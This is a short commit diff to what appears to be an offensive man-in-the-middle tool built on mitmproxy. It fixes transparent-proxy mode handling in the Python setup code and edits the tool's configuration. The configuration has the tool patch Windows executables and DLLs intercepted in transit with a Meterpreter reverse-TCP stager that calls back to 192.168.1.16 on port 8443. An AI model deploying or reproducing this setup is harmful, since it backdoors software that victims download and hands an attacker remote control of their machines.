bug fix with transparent proxies

This commit is contained in:
Secret Squirrel 2014-12-26 16:33:10 -05:00
parent dcfdb7bd4b
commit 22c00b09c0
2 changed files with 6 additions and 5 deletions

View File

@ -768,10 +768,11 @@ resourceScript = userConfig['Overall']['resourceScript']
config = proxy.ProxyConfig(clientcerts=os.path.expanduser(userConfig['Overall']['certLocation']),
body_size_limit=int(userConfig['Overall']['MaxSizeFileRequested']),
port=int(userConfig['Overall']['proxyPort'])
port=int(userConfig['Overall']['proxyPort']),
mode=userConfig['Overall']['transparentProxy'],
)
if userConfig['Overall']['transparentProxy'] == "True":
if userConfig['Overall']['transparentProxy'] != "None":
config.transparent_proxy = {'sslports': userConfig['Overall']['sslports'],
'resolver': platform.resolver()
}

View File

@ -32,7 +32,7 @@
#
[Overall]
transparentProxy = True # Must for transparent proxy
transparentProxy = transparent # Modes: None, socks5, transparent, reverse, upstream
MaxSizeFileRequested = 100000000 # will send a 502 request of large content to the client (server error)
certLocation = ~/.mitmproxy/mitmproxy-ca.pem
proxyPort = 8080
@ -120,11 +120,11 @@ blacklist = , # a comma is null do not leave blank
PATCH_TYPE = SINGLE #JUMP/SINGLE/APPEND
HOST = 192.168.1.16
PORT = 8443
SHELL = reverse_shell_tcp
SHELL = reverse_tcp_stager
SUPPLIED_SHELLCODE = None
ZERO_CERT = False
PATCH_DLL = True
MSFPAYLOAD = windows/shell_reverse_tcp
MSFPAYLOAD = windows/meterpreter/reverse_tcp
[[[WindowsIntelx64]]]
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND